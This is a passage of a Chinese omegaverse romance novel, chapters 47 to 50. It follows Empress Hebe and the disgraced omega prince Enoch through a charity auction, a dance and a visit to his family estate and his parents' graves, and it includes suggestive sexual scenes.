“为什么呀,我有很多很多的钱,可以为你设计一百辆专门的战机。” “那是国库的钱,我已经是一个废人,贤明的君主,不应该把任何资源花费在我身上,不然,会引来民众的声讨。” “可是我爱你啊……”赫柏崩溃大哭,以诺吃掉她的眼泪,抱着她重复刚才做过的事。 “我知道你爱我,”以诺拨开她的乱发,在幽暗的灯光中直视她黑曜石一样璀璨的眼睛,“我也爱你,所以我不想你为我做任何事了。” 虽然这个房间异常阴冷,但古朴的实木家具浸润着沉水香,垂落的帐幔筛进来影影绰绰的吊顶灯光,在以诺的设想中已经是比较好的欢。爱场所,所以他尽量望着赫柏的双眼,揉着她的耳朵和脸颊,一有机会就亲吻她的双唇,让她感受到爱意。 赫柏眨眨湿漉漉的眼睛,抱紧以诺的脖子,对着他耳边说:“那我陪你回家一趟,好不好?看看你的侄子和侄女吧,你的侄子西泽,他快要两周岁了呢,还有,我想看看你从小长大的地方,好好逛逛,我想了解你全部的过去,我出生之前的九年,你是怎么生活的,我全部都想了解,因为我爱你。” 以诺搂紧她的肩膀,浅浅喘息:“好,好啊,但是在回家之前,我想先去一趟慈心福利院,好久没去看看那里的孩子们了。” 赫柏讨厌福利院,虽然在慈善日她不得不拥抱那个成绩最好的小女孩,让她给她贴上小红花并且做出惊讶的表情:“哇,谢谢你呢,把老师奖励给你的小红花送给我了!”但是私底下,她不会踏足那个充满熊孩子的,到处都是鼻涕和脚印的地方。 以诺独自来到福利院,叫亲卫在门口等待,在园子里和他约见的亚瑟会面。 “亲王殿下,对不起,我实在对不起您……” 那些在公众面前发表的,陛下和亲王亲密的视频和照片,有一些必须在别墅里面才能拍到,亲王在别墅生活了那么久,肯定一眼就认了出来。 在陛下离开那天,亚瑟鼓起勇气叫住她,而她头也没回说自己赶时间,叫他好好照顾亲王,亚瑟知道,陛下会回到生活的正轨,而他再也没有机会了。 他还有一个念想,就是看看,亲王是怎么被陛下抛弃的,可怜的亲王,如果和陛下的私情被曝光,他相信他得到的也只会是陛下的抛弃,所以他和一些不怀好意的研究所成员合谋了,提供了一些监控录像和照片。 等到事情曝光那一天,他也不想活了,唯一的执念只是看看,尊贵的亲王和他落得一样的下场。 可是事发之后,他在江边慢慢走着,看着汹涌的江水……收到以诺亲王的信息,请他在福利院见面。 “夏洛克他们把你供出来,在福利院里你会暂时安全,我会想办法删掉他们的口供,把你的嫌疑抹去。” 男人浑身渡着圣光,亚瑟再次在他脚边匍匐跪下,虔诚地磕头。 “亲王,您为什么还要帮我?” “因为你本性不坏,做出这样的事,是因为你爱她,我相信,你会永远爱她,我希望她的身边有很多很多的爱,供她采摘,享用,直到有天——不再需要我。” 第47章 第47章她还没输过 “那不是以诺亲王吗?他竟然还敢露面,做出那样的事……真是让皇室和他的斯宾塞家族蒙羞!” “怎么不敢露面,人家可是刚刚拿到了军队的终身荣誉勋章,又是我们皇帝陛下最喜爱的男。宠,炙手可热着呢。” “谁知道他的勋章是怎么拿到的,当年,军队里可是一个omega都没有,就他大摇大摆地进去了,还不像一块肉掉进狼窝呀,不然地话,omega怎么可能做到上将呢,那些具有顶级精神力的alpha都服他吗?我不信。” “那陛下竟然也吃得下……那么脏!也许整个军队都沾过。” “咱们陛下年纪小,没吃过什么好的,就被勾上了呀,你没看那天的视频么,那位大庭广众的就勾着陛下,骚得不行,看脏了我的眼睛。 这是一个慈善晚宴,以诺收到了一封电子邀请函,封面是患了唇腭裂的小孩子,他清点了自己所有的财物,决定捐出一块收藏多年的名表。 但在主持人表明这块名表是由以诺亲王捐出时,收获了一片“嘘”声。 “我都说了,这块欧积奇Nautilus几百年前就只限量发行了几个月,他们那些人不但没见过可能听都没听过,您拿到这里来真是浪费了,”一个女人举着高脚杯来到以诺身边,是个游走在贵族之间的高级销售,“这块表的品相保存的这么好,你让我拿到黑市去,找识货的买家,一定能卖到一个漂亮的价格。” 女人的视线不甚规矩地扫在这位以诺亲王身上,坐的距离也越来越近。她知道这些贵族,很多底子都烂掉了,把祖产拿出来卖的卖,押的押,才能维持表面光鲜,以诺亲王,也不遑多让吧,以为他有多清高呢,还不是攀上了皇帝陛下。 也是可怜的,长着这么好看的一张脸,扫过来一眼人都麻了,床上功夫应该也是很好的……皇帝对他不太上心吧,不是还跟那位邻国的路易斯皇子打得火热么,所以他这么急着出来露面,可能是很缺钱了,想找个下家,就是不知道他的价格怎么样。 “你听我的吧,不会有错的。”女人口中的酒气喷洒在以诺脸上,就在以诺忍无可忍,将要离席时,主持人的声音响起:“以诺亲王捐赠的名表,由莱尔亲王拍下!” 以诺朝主持人指向的方向望去,莱尔对他脱帽示意,接下了装着手表的盒子。 莱尔亲王是赫柏的表姑的丈夫,算是皇室旁支,家境一直拮据,直到赫柏掌权,才接手了一些市政项目,逐渐有了姓名,和他的妻子更多地出席贵族活动。 身旁的女人咬牙切齿,借着醉意数落:“以诺亲王,你亏了你知不知道,那块表完全可以卖个一千万,你竟然用两万就卖出去了!你不会是在装阔吧,那是假的吧!” “抱歉女士,您在骚扰我们尊贵的客人,请您离开会场。”保安来到他们面前,弯身做了个恭请的手势。 女人骂骂咧咧说她不走,她有邀请函的凭什么赶她走,被两个保安一起架出去。 “亲王殿下,抱歉,让您受惊了,请您到楼上八十层云端酒店礼堂,贵客在那儿等着您。” 以诺由安保人员护着,从会场后的应急通道离开,乘坐专用直梯之上八十层。 贵族和富豪之间,也有圈层之分,刚出电梯就听到了悠扬的大提琴乐声,宴会厅大门敞开,衣香鬓影的人们低声交谈,举杯轻碰,光影流转之 间,人们在会场中央安静地挑交谊舞。 虽然光亮没有聚焦的地方,但总有人自身就在发光,以诺一眼就看到赫柏,她竟然穿了一条极具东方韵味的黑色旗袍,臂边挽着同色纱巾,头发盘成小小的发髻,特别反光的那一片,是个斜插的黑珍珠簪子。 她的皮肤是极度的白,又是近乎透明的薄,轻垂颈项低笑时,一种妖异的美丽从她的薄薄一片的颈骨中跑出来,像个悠悠荡荡的妖物,顺着暖黄的灯光飘到以诺眼前。 她的身边站着同样耀眼的路易斯,她握着酒杯,拍拍路易斯的背,把他介绍给面前的贵客。 “亲王,请您随我过来。” 赫柏正举杯抿完最后一口酒,见了以诺双眼弯起,把酒杯交给路易斯,“你自己玩去吧”,踏着矮跟鞋上前两步,搂住以诺的腰。 以诺有点僵硬,赫柏用涂了黑色指甲的手顺着他的肩膀滑过脊椎,停在凹陷的腰窝上,翘着唇角看他,没有任何信息素的交换就把他给看软了。 随着她的动作被动张开双臂,搭上她的肩膀,旗袍上有一块不太平整的蕾丝装束,耳坠上的黑珍珠也时而碰上他的手背,一切触感都让以诺出神,再回神时已经身处舞池之中。 “我想跟你跳舞,以诺,陪我跳舞。” 以诺闭上双眼,没有办法隔绝她的香水钻进鼻腔,她的呼吸打在下颌,她随着呼吸起伏的孱弱的肩膀,衣肩上的蕾丝化作一把缠绕在他手心的绳索,越收越紧。 灯光晦暗,所有人都看到他们,没有人投来异样的目光,上流社会默认道德是享乐的枷锁,没人会多嘴反对带领他们赚钱的皇帝陛下,虽然她今夜已经明目张胆地换了两位男伴。 赫柏仰起脸,或轻或重地亲吻以诺的耳垂,感受他呼吸加重,脚步变得迟缓,快要向她求饶。 赫柏的眼睛聚起眼泪。 她不想这样,她心疼以诺,但是暂时没有别的办法,只能让以诺如他所愿的那样屈辱地待在她身边。 她其实真的爱他,可他不信,那就说什么也没用。 终于到了某个节点,以诺抱住她的肩膀,瑟瑟发抖的身体按进她的臂弯里,“赫柏,我不行了,我们,我们走吧。”他把鼻子埋进她的肩窝里,“让我走吧。” 赫柏没有让他走,暗示性地用鞋尖蹭蹭脚下的纯黑色地毯,表示这儿就算打翻了什么水渍,也看不出来。 “啪嗒——” 以诺的手臂被握住,什么冰凉的东西扣上来,以诺垂下酸胀的眼,看见一块手表。 赫柏让他环抱着她,倚靠在他怀里,身体随着音乐轻轻摇动,和他系上手表的手十指相扣,另一只手抚上腕表,白皙的手指在泛着金属光泽的表壳上打圈。 “欧积奇Nautilus,全世界仅剩一块,没有人比你更称得上,为什么要送出去呢?” 以诺不能看她仰头送来的视线,“你乱花钱了吗?” “才没有……”赫柏把他的手扣回自己腹部,脑袋在他脖颈间轻蹭,蹭得发髻都乱了,才吃吃笑了几声,“才没有乱花钱,莱尔亲王要送给我的,我怕你生气,还是给了他两万金币,不是国库的钱,是我给自己发的工资,皇帝陛下,也应该有工资吧。” “我可不想你的手表戴在别人手上,我爱你,以诺。” 以诺把赫柏转过来,亲吻那双红唇,赫柏一下下揉着他的脖子,手底下的温度烫的吓人,抑制贴也彻底饱胀,快要完成使命掉下来。 赫柏不舍得让所有人闻到以诺的omega信息素,决定见好就收,揽住以诺的腰身走向大门。 以诺像喝醉了,都是信息素的原因,是恶劣的赫柏,让他变成信息素的奴隶,他对此深恶痛绝,但是他爱赫柏,所以可以原谅她的所有冒犯、欺侮,甚至依她所愿变成放。荡的小狗。 因为他爱赫柏,所以他可以献出自己,满足她的一切心愿。 以诺真的走不动路,刚出了电梯再走几步就摔倒在地上,他的鞋子都湿了,总统套房外面的地毯可不是纯黑色的,他屈辱地闭上眼睛,在赫柏开门时蹭掉鞋子。 “以诺,真的这么着急吗?” 赫柏揽住他的背,以诺吻向她的脸,就在这里吧,不要再走了,就算这个电梯有突然闯上来的侍应生也没关系,让全世界的人都知道他是个婊。子。 “虽然有点脏但是,你来吧……”赫柏捞起衬裙。 只有一次对于以诺来说是杯水车薪,但是起码可以恢复理智,他不好再做更多求欢的举动了,赫柏身为alpha,却并不热衷此道,歇息了片刻马上拉他去洗澡。 “对不起呢,因为路易斯的事情还没有处理完,所有对外他还是我的男。宠,所以你的事情,也只能暂时搁置了。” “我不是故意让你被外人唾骂的,但是目前为止,没有更好的办法,等到将来有机会,我一定会还你清清白白的名声,让那些骂你的人排队向你道歉。” “以诺,我是爱你的,”浴缸很大,赫柏却和他黏在一起,卸了妆的脸才是她本来的年纪,她和他脸贴着脸,薄的眼皮有点泛红,“你要相信我,没有你,我会活不下去的,所以为了我,你哪里都不能去,就在我的身边,好吗?” 以诺完全没有埋怨她的意思,因为本就是他一手造成目前的局面,赫柏无论怎么做他都接受。 他轻而又轻地“嗯”了声,赫柏侧头亲亲他的脸,“我多余说这一句,你总是会原谅我的。” 第48章 第48章对弈 云端酒店的顶层总统套房,赫柏洗完澡后窝在以诺怀里,头发吹到半干就不让他吹了,说头好痛,要亲亲才能好,然后以诺就一直亲她,额头眼皮鼻梁,在她昏昏欲睡的时候,感觉嘴唇被轻啄了一下,赫柏迷迷糊糊地睁眼。 以诺埋头在她颈边,若有似无地轻碰她的耳廓,类似蒸汽的信息素又开始逸散,他什么都没说耳根开始红了,用鼻子蹭她的脸。 “又想要了?”洗澡到后面他突然亲她,又做了一次,再来的话,就是第三次了,破了以前的记录。 以诺点头,嘴唇抿得很紧,在最山穷水尽的时候,他也不想自己的形象看起来太糟糕。 赫柏去拥抱他,一起躺在宽大的沙发上,一直看着他的眼睛,轻轻吻他,为了转移他的羞耻说一些无关的话题。 “你对我真的很重要,你不在的时候,我从来没有这么快睡着过。” “我刚才梦到你了,是很小的时候,你在前面走,我跑啊跑啊,叫你的名字,可是我的腿太短了,怎么也追不上,我伸着双臂,空荡荡的风吹进袖子里,好冷啊,可是你不回头抱我。” “还好你也爱我,这是上天对我最大的恩赐,以诺,抱抱我好吗?告诉我你爱我。” 以诺的脸非常红,眼睛里的两潭湖水不停震颤,泫然欲泣却尽量看着她,环紧她的身体,“我爱你,我爱你,赫柏,不要担心,只要你还需要我,我就会一直爱你。” 第二天前往庄园,参加西泽小侄子两岁的生日宴,起晚了,赫柏还帮以诺做了一个小时的康复训练。 他身上有青青紫紫的痕迹,赫柏触目惊心地绕过去,她想自己没有那么用力吧,omega的身体真的很脆弱。 她从来没做过那么多伺候人的工作,扶着病美人起身,进入浴室,为他准备好牙膏和毛巾,以诺有点惊讶地看着她,手里是她亲自拧好的热毛巾,在她几次提醒后俯身洗脸,耳朵很红。 出来时桌上准备好丰盛的早餐,床边摆了一套新的西服,是以诺最常穿的牌子,包括鞋袜也重新搭配,赫柏正坐在桌边,姿态优雅地举起咖啡轻抿。 因为以诺的信息素上瘾,贴着她会很舒服,赫柏为了减轻他的羞耻,就主动贴贴,一路上抱紧他的手臂,轻靠在他的肩上补觉。 长途列车很无聊,虽然便宜,比飞船要慢得多,但赫柏说她从来没有看过沿途的风景。 结果她一上车就睡着了,风景都是以诺在看,他也刚好坐了靠窗的位置,以前在首都上寄宿中学,每周都会坐这趟列车回家,穿过都市,穿过房屋错落的城郊,穿过密林和瀑布的风景区,回到庄园外的小镇。 他想起很多很多的回忆,他总是一个人默默看书,没有朋友,似乎也不需要太多情感连接,同龄人在隔壁座位上唧唧咋咋,他不会有插嘴的想法,只是听着,时间过得很快。 后知后觉地发现身边很安静,这节车厢就只有他们两个人,而身后的椅背竟然是经过改装的,坐了几个小时一点也不累,可想而知,是谁的想法。 快到时赫柏才醒来,展露一个睡得很香的笑容,沾着几根发丝的脸颊在他肩上蹭了蹭,朝他扬起红扑扑的脸,“要亲亲。” 以诺低头亲了她的嘴唇,太软也太热了,alpha的体温总是很高,从他的双唇一直烫到他心底。 “那是什么啊?”刚睡醒的赫柏还有点懵,靠着他,指向车窗外的一种动物。 “在喝水的瞪羚,居住在水草丰茂的地方,虽然是食草动物但是有点凶的,不要招惹它。” “你被咬过吗?” “没有,但我看别人被凶过,跑走的时候一脚踩进河里。” “哦。那个瀑布叫什么名字?” “当地人叫‘石漱泉’,因为瀑布底下有很多大石头,到了夏天很多居民会去那儿冲澡和洗衣服……” 赫柏漫无目的地问,以诺想到什么答什么,渐渐的奇怪而温馨的感觉在蔓延,他想起一个著名的研究,亲密关系中的大部分交流都是废话,他可能从来没有过亲密关系。 “好困哦。”赫柏打了个哈欠。 以诺在她嘴巴大张时捏住她的鼻子,赫柏不满地哼了声,摇头晃脑拍掉他的手,以诺有点不知道自己为什么要这么做,找补说:“别睡了,还有十五分钟就到了。” “好吧。”赫柏圈紧他的手臂。 到小镇下车,妹妹妹夫带着侄女蒂娜在等候,几辆马车会送他们进入庄园。 蒂娜亲了以诺的脸,躲在沃尔夫身边,有点害怕地偷看赫柏,赫柏对她招了招戴着蕾丝手套的五指。 赫柏在下车前用小镜子整理仪容,恢复了皇帝陛下的一面,坐在马车上挺腰直背,端详周围的风景,只在裙子的掩盖下悄悄勾住以诺的手,看着心情很好。 “好喜欢这种感觉呀,好像参与到你从小的生活里呢,以诺小少爷,要握紧我的手哦。” 安妮塔安排了盛大的迎接仪式,鲜花和红毯铺满整条进入庄园的弯道,赫柏下车后应主人邀请,参观栽种着珍惜花卉的花园,一路上和安妮塔沃尔夫交谈,谈论庄园的收成、居民的生活,还有安妮塔的公司,帝国最大的矿产企业。 “陛下,咱们小镇附近新发现了一个铬铁矿产区,是军工产品必不可少的原材料,是如果您有时间在庄园里多住几天,一定请您拔冗前去看看。” 安妮塔从见到赫柏那一刻起就笑得合不拢嘴,看着陛下对以诺的态度,就像看到数不尽的金币从天而降,是的,以诺的烂名声反而给她带来更多的利益,因为以诺和陛下的这一层关联,很多人认为她和皇室也很亲近,以各种方式向她输送利益。 她当然得扒拉着小皇帝,和自己的哥哥,就怕以诺那块木头不解风情,不知道什么时候就被厌弃了,在这一天之前,她得想办法获得更多东西。 “好啊,但是今天有点累呢,等我有兴趣了,会告诉你的。”赫柏答应的很轻巧。 “这些花,可以摘么?”赫柏转向花圃。 沃尔夫赶忙回答:“可以,当然可以,来人,找些摘花工具过来。” 赫柏表示自己要慢慢逛一下,请安妮塔夫妇先回去,慢慢悠悠摘了一束花,在佣人的帮助下包扎成很好看的样子,夕阳西下才捧着花回去。 她穿了一条油画似的礼裙,提着裙摆曳过矮矮的草丛,从五颜六色的花圃里走出来,宽大的斜帽下,饱满的脸庞被阳光晒得有点红。 以诺按照安妮塔的意思,带着蒂娜在花圃外面的凉亭等候,本来在陪蒂娜下棋,看见赫柏回来,一时捻着棋子静默忘言。 此时此刻他才终于确信小魔头换了个路子,实在是,非常迎合他的审美,在他的从小的想象中,一位高贵优雅的女alpha会像现在的赫柏,在夕阳日落时捧着花出现,握住他的手,矜持克制地亲吻他的脸。 不需要说很多话,温柔体贴地爱护彼此,一个眼神就心灵相通。 他设想的,爱情最好的模样。 “你摘了我的风信子!这是我种的,你,你怎么摘了!”蒂娜着急地跺脚,跟在赫柏身后的佣人连连着急皱眉,以诺也叫了声“蒂娜”。 “哦?对不起呢,我不知道是你种的,如果知道,我就会问过你的意见再摘,”赫柏把花束递给以诺,扯扯裙子蹲下,直视蒂娜跟她道歉,变戏法似的从手心翻出一枚花瓣形状的珠宝手钏,“我把这个送给你赔罪,可以原谅我吗?” 那只手钏实在很漂亮,蒂娜移不开眼睛,狠狠点头。 她把手钏收进双掌中,还带着那个女人手套上香水的味道,小姑娘对此没有抵抗力。 但当她戴上手钏晃了一阵,抬头,发现女人在亲吻自己的舅舅,立刻羞涩地捂住双眼,飞快跑离凉亭。 以诺怀里抱着花束,一步步后退,他本意是不想退的,但是双腿实在太软,很快后背抵住凉亭的石柱。 蕾丝手套比起人的皮肤粗粝很多,有一下没一下地磨蹭他的脸,宽大的帽檐把两个人遮住,赫柏的视线落在他的鼻梁上,没有带给他太多压迫感。 她的嘴唇微张,红润上翘的嘴唇,先浅浅亲了一下,然后在他唇边几厘米的地方停住。 近到一个稍深的呼吸就会亲上,远得像两方对弈的战士,隔着遥远的山头随时准备进攻或收兵,谁先乱了阵脚就算是输。 赫柏叹气,以诺也支撑不住,竟然是同时向前双唇相贴,亲吻难舍难分。 以诺自暴自弃地闭眼,赫柏的双手像一张网在他身后收紧,她的每一步其实都目的明确,展示她的魅力,她对他的需要,融入他的过去,用锤子一点点击碎他的蚌壳,他明明感到窒息,感到心脏收紧的疼痛。 但同时也非常喜欢。 都是因为信息素吧,他早就不是他自己了,所有的一切都是因为信息素,他无法逃避的渴求,他徒劳的挣扎,他竭力逃避的那个不像话的自己。 “赫柏,可以给我吗?去我的房间吧。” 第49章 第49章十四行情诗 第一次也是发生在这个房间,赫柏其实没有很清晰的记忆,只记以诺被她的话刺激得很害羞,但是一旦开始了,他就热情到让人难以招架,而她,她的记忆其实很模糊。 她是奔着给他临时标记的目的去的,提前学习了很多,一直回忆教程,希望在完成标记的同时能够给予以诺还算愉快的体验。 ——社交距离只维持到打开门的那瞬间,不知谁先偏头谁先张嘴,总之两个人开始接吻,以诺抱着赫柏的脖子激烈地吻她的脸,赫柏顺势关上房门。 磨砂玻璃窗户关上了,还能看到外面隐约的月色和树林的阴影,两人在宽大的窗沿上滚了一回,因为赫柏记得以诺很喜欢坐在窗沿上看书,在接吻中突然想到这点,牵他的手过来拉开窗帘,果然见到一个铺着羊绒毯子和安置了好多个柔 软抱枕的秘密空间。 赫柏用尾指刮开自己黏在脸颊旁的头发,侧脸贴在檀木窗框边上,斜着平直的眼睛,眼尾殷红濡湿,失焦地看着自己的呼气落在泛着粼光的玻璃窗户上。 快感到达顶峰之后,她只失神了一分钟,乌黑的眼珠子就转回来,柔柔带笑的目光回到以诺身上。 取来热毛巾为虚弱的omega清理身体,帮助他穿上舒服的睡衣,堆叠靠枕,让他以一个舒服的姿势坐着,送上一杯解乏的热茶。 短短几天她就完全适应了新的表演身份,一位极度体贴的alpha情人。 “我可以打开你的抽屉吗?以诺少爷。” 赫柏披着一条以诺的长袍,鸭子坐的姿势在书柜前的地毯上,没穿鞋子,露出来的两段小腿白的吓人。没得到回应皱了皱鼻子,手已经摸向最顶端的一个抽屉,“总不能所有的柜子都不能打开吧?人总有一些面向是可以对外展示的,我只看一个,可以吗?你说看哪个就看哪个。” 以诺回神,抿了口热茶,“都可以,全都可以看。” 赫柏眉开眼笑,把抽屉一个个拉开,颇有兴趣地翻找他以前的物品。 很多是书,以及读书笔记,年代久远的泛黄本子,是圆润可爱的印刷体字迹,“今天读了《小猪的故事》,小猪很可爱,但是最后变成了猪肉脯,我觉得它好惨,再也不吃猪肉脯了”,新一些的本子,是一板一眼的手写印刷体,涉猎广泛,从星际文明历史到ABO性别研究,心理学专著到花卉养殖,还有很多古代文艺作品,以及情诗。 虽然没有任何批注,但赫柏抚过那行加了两道下划线的“我爱你至深,至广,至高,尽我的心灵所能达到的境地,仿佛感受光明、视力和存在的意义。”还是感受到了少年以诺彼时彼刻的心动。 她翻阅这本诗集,背上忽然拥上一阵暖意,是以诺带来薄毯,抱着她。 “天气很热呢。”赫柏挣扎了几下,没能挣脱,继续压低下巴看书,以诺把头靠在她肩上,和她一起看。 以诺认为他的过去没有任何值得隐瞒的事情,但是赫柏十分专注地看那本诗集,他就知道她的脑子里一定涌进了一些新的奇思妙想。 也许她会想要给他念情诗,牵手漫步在无风的月夜,恰逢其时的一场表白,或是举办一场复古的晚会,穿上维多利亚时代的礼裙,款款走下台阶,贴面亲吻他的脸,然后在古典乐曲声中轻吟那首《我如何爱你》。 都是她会做出来的事。 他用一只手掌拢住她大半张脸,她的脸很小,英气的眉微拧着,脸颊蹭蹭他手心,还是盯着那本诗集在看,以诺感到酸涩的无奈。 不知道这颗人类的脑袋里面怎么可以塞得下那么多事情,难怪她总是头痛,国事家事,势力纠缠利益纠葛,现在又加上了他,他留在她身边,本来是想为她解压,可是现在,反而成为她提到最高优先等级的一项工作。 这不是他想要看到的,她太累了。 以诺顺着赫柏的手臂滑落,嵌入她握着书籍的十指中,包裹她的双手,在她讶异抬头时亲过去。 “啪——”书本掉在地上,谁都没去管它。 赫柏第一次被以诺圈在怀里亲吻,顺着他的意思张唇和呼吸,眼神却很呆,一旦事情的发展超出她预先设定的样子,她总是需要一定的时间来适应和调整,就像,机器人偶尔因为载入过多信息而宕机。 赫柏这次宕机持续了很久,不知道什么时候躺倒在地上,以诺捧着她的脸一下下地亲吻,星辰闪烁的眼睛看着她,载着她的灵魂畅游银河。 因为她分析不出来,以诺现在的情绪,没有信息素外溢,皮肤也没有泛红呼吸没有加重,他在完完全全的理智之中亲吻她,难道他想让她开心么?可是她现在不失落难过,也没有头痛。 还是说,她尽力讨好他的模样看起来可怜,她要的可不是他的怜悯。 “赫柏……”以诺在她的眼角捻了一下,是一点眼泪,赫柏不知道自己竟然流了一点点眼泪。 以诺亲她的眼角,密密匝匝的吻落在她的眼皮上。 瞬间丧失主动权让小皇帝感到一丝半缕的不愉快,在之后的一天里没有主动招惹以诺亲王。 西泽的周岁宴,皇帝陛下出席的消息传出,整个帝国的富豪都在想办法搞到一张邀请函,现场繁花锦簇,星光熠熠,安妮塔爵士忙前忙后招呼宾客,笑得合不拢眼。 赫柏善于应对这样的场面,从很小的时候,她就知道自己需要记住什么,那位爵士交谈时用左手执酒杯,爱喝布朗尼酒,那位大人的袖口有一块污渍,口袋里有一张幼儿园催缴学费单……她在心里给这些信息的重要性排好顺序,锁定她要拉拢的人。 她很功利地活着,有时在交谈的间隙从这副身体中抽离,以上帝视角看她自己,觉得很陌生,而且无聊。 陌生的她刚刚结束了一场交际,“我会记得您的,下次有机会一定要好好聊聊”,开始搜寻以诺的身影。 以诺在角落里,抱着西泽,身边和他说话的是,一个女人。 …… “以诺少爷,好久没见了,我听说了你的事情,你现在,过得好吗?” 朱莉是小镇的居民,平民百姓,好在以诺小少爷没有架子,会和她说说话,经过她家附近,会叫出她的名字,算是从小相识。以诺还给她送了书,叫她好好学习,她现在和一个小贵族结婚了,日子过得不错。 以诺的人生简直惊心动魄,两年前重伤残疾,卷入叛国案,现在和现任皇帝,他名义上的侄女不清不楚……朱莉担心他,但是没有机会和他联系上,只能默默给他资助的福利院捐些金币,为这个善良的人祈福,希望他一切安好。 以诺:“我过得很好,朱莉,你好吗?” 两人聊了几句,朱莉问以诺这次回来,有没有去拜祭过他的父母。 “老爵士和爵士夫人就葬在庄园的后山上,你应该还没去过吧,你参军的那几年,都没有回来过。” 以诺抱紧香香软软的小侄子,面色稍沉,微微侧头面向阴暗处,避免让朱莉察觉到他的心情不好,他笑了笑说是还没去过。 父母死在他刚去军队不久的时候,他从新闻得知消息,斯宾塞爵士夫妇视察矿洞时遇到垮塌,双双毙命,在他非常伤心的时候,一封迟来的家书交到手上,是前几天还在电话里痛骂过他的爸爸妈妈,正式签署的一封断绝亲属关系通知书。 作为omega申请加入军队的他,让所有血亲蒙羞。 爵士和夫人都在通知书上签好了名字,只等他签名,他就跟斯宾塞家族没有任何关系,但是老爵士夫妇突然死了,年纪尚小的安妮塔接手整个家族,这件事也暂时搁置,所以直到现在,他的名字后面,还跟着斯宾塞这个古老贵族的姓氏。 上次西泽的周岁宴,也是以诺参军十年后第一次回家,本来是想要看看爸爸妈妈的,但是后来,赫柏来了…… 月色如雾,夏夜鸣蝉在枝头交响,往后山走,逐渐远离宴会的热闹和喧嚣,朱莉说爵士夫人是两位待人和善、受人敬重的大人,每到节庆,总有小镇上的居民带上花束,去拜祭他们,有的孩子偷偷跑到后山,跟爵士夫妇说最近小镇发生的事。 后山上有家族墓园,其中两座新建的墓碑,以诺撑着膝盖跪下去,金发和衣襟都被晚风吹起。 “说实话,安妮塔爵士掌管庄园之后,一些做法很不好,常常弄得天怒人怨,所以我们都怀念老斯宾塞爵士,可惜回不到从前了,但老爵士夫妇,肯定是希望我们好好生活的。”朱莉拍拍以诺的肩膀,叫他不要太伤心。 以诺点头,在心里默默说了很多话,过了很久,身后是朱莉惊讶的声音:“陛,陛下?” “嗯,你先走吧,我这在里陪着亲王。” “是。” alpha的高体温驱散了大部分冷风,在以诺身边整理裙摆跪下,像一团无法忽视的暖融融的火焰。 赫柏握住以诺的手,用温柔沉稳包容专注的目光看向他的脸。 以诺没抬头,泪水从脸庞一直滑落,极度的美丽,也极度脆弱可怜,赫柏俯身抱紧他的身体 ,在静谧的黑夜,阴森的墓园,相依相偎地抱紧,分享暖意和慰藉。 第50章 第50章认命吧 赫柏觉得自己拽住了一只风筝,以诺跪在墓碑前,孤寂冷清的背影,像是一阵风就能把他吹走,她不让他走。 也没什么好说的,毕竟人都已经走了十年,而且,她的亲情的感知能力非常弱,非要说什么安慰的话,也许僵硬得可笑。 以诺也会想要一个安静沉思的空间。 她只是抱着他,亲密无间地轻抚他的脊背,用人类的体温,给予他比语言更有用的慰藉,无声告诉他,他不是一个人,他的身后永远有她。 “我没事,赫柏,谢谢你。”以诺回抱她,身体微微颤抖。 “冷吗?你穿的很单薄。” 以诺过了半会儿点头,“腿也很痛,你扶我起来吧,我们回去。” 赫柏不打算再回去宴会上了,派人跟安妮塔说一声,和以诺一起回房间。一路上他无比沉默,赫柏勾着他的手,不禁想到那些传闻。 塞克姑姑去世后,斯宾塞家族有意把以诺接回去,再选择一位女alpha结婚,但皇室的意思是他不能走,他要留在皇室,掩盖塞克公主的丑闻。可是以诺转头选了一条出乎所有人意外的道路,去参军。 这件事在当时闹得很凶,皇室和斯宾塞家族,还有所有贵族们,一起把矛头指向他,指责他是个不守规矩的omega,贵族成员中的异类和叛徒,丢尽了所有人的脸。 赫柏对当年的事情了解得不多,只知道以诺的父母应该也持着十分反对的态度,没为他说过话。而且以诺受伤被诬陷时,安妮塔提出要和他解除亲属关系,再看安妮塔现在对他没有半点情分的样子,就知道以诺的亲人从来没有站在他身边。 尽管这样,他还是很爱他的家人,为西泽和蒂娜仔细挑选礼物,一有机会就抱起小西泽,眼底的温柔浓的化不开。 好可怜的以诺,好孤独,好可怜,就像她一样,赫柏的心变得很软,勾着以诺的五指,轻轻在他手背上弹奏琴曲。 “还有我在爱你。” “所有人都不值得在意,因为我才是你此生的伴侣,是和你携手走完下半生的人,我会一直爱你,永远永远,给你最稳定,最充沛的爱。” “我们都没有父母亲人,像两块拼图一样契合,我们绝对拥有彼此,孩子,也不要,只要彼此,在很多很多年以后,我们会在同一个棺椁中一同长眠。” “后世会把我们称为,伟大的赫柏皇帝,和她的伴侣,以诺皇后。” 赫柏的自说自话听起来就像在念诗,她用独白自娱自乐,轻快地踩着灯下以诺的影子,并不奢求听众的回应。 因为这是她本就设定好的道路,从很小,很小的时候一直到现在,她从未怀疑过自己会把这个设想变成现实。 以诺被她扰动,看向她,从神游的天际回到人间,眼角带着未干的泪痕,万种风情难以言说。 “赫柏。”他站定回身,看着因为脑补而陷入幸福的女孩。 然后他轻轻勾起唇角展露一个诡异的笑容,竟然反手撕掉了抑制贴。 他们还在走廊里,离以诺的房间还有一段距离,抑制贴从窗口扔出去,大概丢进花圃里,不确定夜晚巡游的清洁工会不会嗅到异常,被勾引发。情。 赫柏很生气,以诺是她的,所有的一切都是她的,怎么可以被别人闻到!她想要跟他理论却被按着下巴吻住。 以诺握住她的两只手腕按在头顶,把她抵在墙边激烈地亲吻,让她把想说的话全都咽进喉咙里,只能“唔唔”几声表示抗议。 他毕竟在军队待了十年,手劲跟她这个alpha不分上下,赫柏被非常浓郁的omega信息素刺激到双眼猩红失去神志,却还记得眼前的人是以诺,不能伤到他。 “你,你怎么了?先回房间好不好,我怕你着凉了会双腿疼痛。” 她好不容易侧头躲开他的吻,寻到空隙说话,以诺一直咬她的耳朵,让她痒的直缩肩膀。 “唔!” 等察觉到自己今天的裤装被拉了一下,腰带散掉,赫柏终于用力推开以诺,斥骂:“以诺亲王,你放肆!” 以诺跌坐在墙边,失神垂头,错落的金发之下,双眼满是悲色。 他抬头看她,苦笑了一下,伸手曲腿,扯掉自己的裤子—— “你疯了!” 赫柏上前抱住他,用力箍着他的双臂阻止他再动,顾不得周围会有人来,用很不好看的姿态把以诺拉回房间。 好歹是进入了密闭空间,以诺的衣服完全不能蔽体,勾住赫柏的脖颈,把她压倒在地毯上。 以诺从未有过的激动,眼角眉梢皆是糜烂的艳丽,像开到极致即将衰败的芙蓉花。 